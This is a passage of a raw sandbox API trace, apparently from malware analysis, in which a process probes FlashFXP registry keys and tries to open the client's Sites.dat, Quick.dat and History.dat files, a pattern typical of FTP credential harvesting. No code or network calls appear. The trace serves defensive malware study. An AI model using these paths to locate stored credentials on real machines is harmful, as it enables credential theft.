hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.396] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.397] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.397] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.397] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.397] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.397] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.397] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.397] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.397] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.397] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.397] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.397] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" [0068.397] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned 43 [0068.397] lstrlenA (lpString="\\Sites.dat") returned 10 [0068.397] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x6415d0 [0068.397] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" [0068.397] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat" [0068.397] LocalFree (hMem=0x641518) returned 0x0 [0068.397] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0068.397] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x641690 [0068.397] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat", lpDst=0x641690, nSize=0x37 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat") returned 0x36 [0068.397] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.397] LocalFree (hMem=0x641690) returned 0x0 [0068.397] LocalFree (hMem=0x6415d0) returned 0x0 [0068.397] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.397] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.397] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.397] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.398] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" [0068.398] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned 43 [0068.398] lstrlenA (lpString="\\Sites.dat") returned 10 [0068.398] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x6415d0 [0068.398] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" [0068.398] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat" [0068.398] LocalFree (hMem=0x641518) returned 0x0 [0068.398] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0068.398] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x641690 [0068.398] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat", lpDst=0x641690, nSize=0x37 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat") returned 0x36 [0068.398] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.398] LocalFree (hMem=0x641690) returned 0x0 [0068.398] LocalFree (hMem=0x6415d0) returned 0x0 [0068.398] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.398] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.398] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.398] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.398] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" [0068.398] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned 43 [0068.398] lstrlenA (lpString="\\Quick.dat") returned 10 [0068.398] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x6415d0 [0068.398] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" [0068.398] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat" [0068.398] LocalFree (hMem=0x641518) returned 0x0 [0068.398] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0068.398] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x641690 [0068.398] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat", lpDst=0x641690, nSize=0x37 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat") returned 0x36 [0068.398] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.398] LocalFree (hMem=0x641690) returned 0x0 [0068.398] LocalFree (hMem=0x6415d0) returned 0x0 [0068.398] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.398] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.398] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.398] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.398] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" [0068.398] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned 43 [0068.398] lstrlenA (lpString="\\Quick.dat") returned 10 [0068.398] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x6415d0 [0068.399] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" [0068.399] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat" [0068.399] LocalFree (hMem=0x641518) returned 0x0 [0068.399] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0068.399] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x641690 [0068.399] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat", lpDst=0x641690, nSize=0x37 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat") returned 0x36 [0068.399] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.399] LocalFree (hMem=0x641690) returned 0x0 [0068.399] LocalFree (hMem=0x6415d0) returned 0x0 [0068.399] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.399] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.399] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.399] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.399] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" [0068.399] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned 43 [0068.399] lstrlenA (lpString="\\History.dat") returned 12 [0068.399] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x6415d0 [0068.399] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3" [0068.399] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\History.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\History.dat" [0068.399] LocalFree (hMem=0x641518) returned 0x0 [0068.399] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x39 [0068.399] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x641690 [0068.399] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\History.dat", lpDst=0x641690, nSize=0x39 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\History.dat") returned 0x38 [0068.399] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\3\\History.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.399] LocalFree (hMem=0x641690) returned 0x0 [0068.399] LocalFree (hMem=0x6415d0) returned 0x0 [0068.399] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.399] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.399] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.399] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.399] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" [0068.399] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned 43 [0068.399] lstrlenA (lpString="\\History.dat") returned 12 [0068.399] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x6415d0 [0068.399] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4" [0068.399] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\History.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\History.dat" [0068.399] LocalFree (hMem=0x641518) returned 0x0 [0068.399] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x39 [0068.399] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x642690 [0068.400] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\History.dat", lpDst=0x642690, nSize=0x39 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\History.dat") returned 0x38 [0068.400] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FlashFXP\\4\\History.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.400] LocalFree (hMem=0x642690) returned 0x0 [0068.400] LocalFree (hMem=0x6415d0) returned 0x0 [0068.400] LocalFree (hMem=0x626a88) returned 0x0 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.400] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.400] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.400] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0068.400] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.400] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0068.400] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0068.400] lstrlenA (lpString="\\Sites.dat") returned 10 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.400] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0068.400] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\Sites.dat") returned="C:\\ProgramData\\FlashFXP\\3\\Sites.dat" [0068.400] LocalFree (hMem=0x641518) returned 0x0 [0068.400] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629248 [0068.400] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Sites.dat", lpDst=0x629248, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\Sites.dat") returned 0x24 [0068.400] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\programdata\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.400] LocalFree (hMem=0x629248) returned 0x0 [0068.400] LocalFree (hMem=0x6292f8) returned 0x0 [0068.400] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.400] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0068.400] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.400] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0068.400] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0068.400] lstrlenA (lpString="\\Sites.dat") returned 10 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.400] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0068.400] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\Sites.dat") returned="C:\\ProgramData\\FlashFXP\\4\\Sites.dat" [0068.400] LocalFree (hMem=0x641518) returned 0x0 [0068.400] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629248 [0068.400] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Sites.dat", lpDst=0x629248, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\Sites.dat") returned 0x24 [0068.400] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\programdata\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.400] LocalFree (hMem=0x629248) returned 0x0 [0068.400] LocalFree (hMem=0x6292f8) returned 0x0 [0068.400] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.400] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.400] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0068.401] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.401] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0068.401] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0068.401] lstrlenA (lpString="\\Quick.dat") returned 10 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.401] lstrcpyA (in: lpString1=0x6292f8, 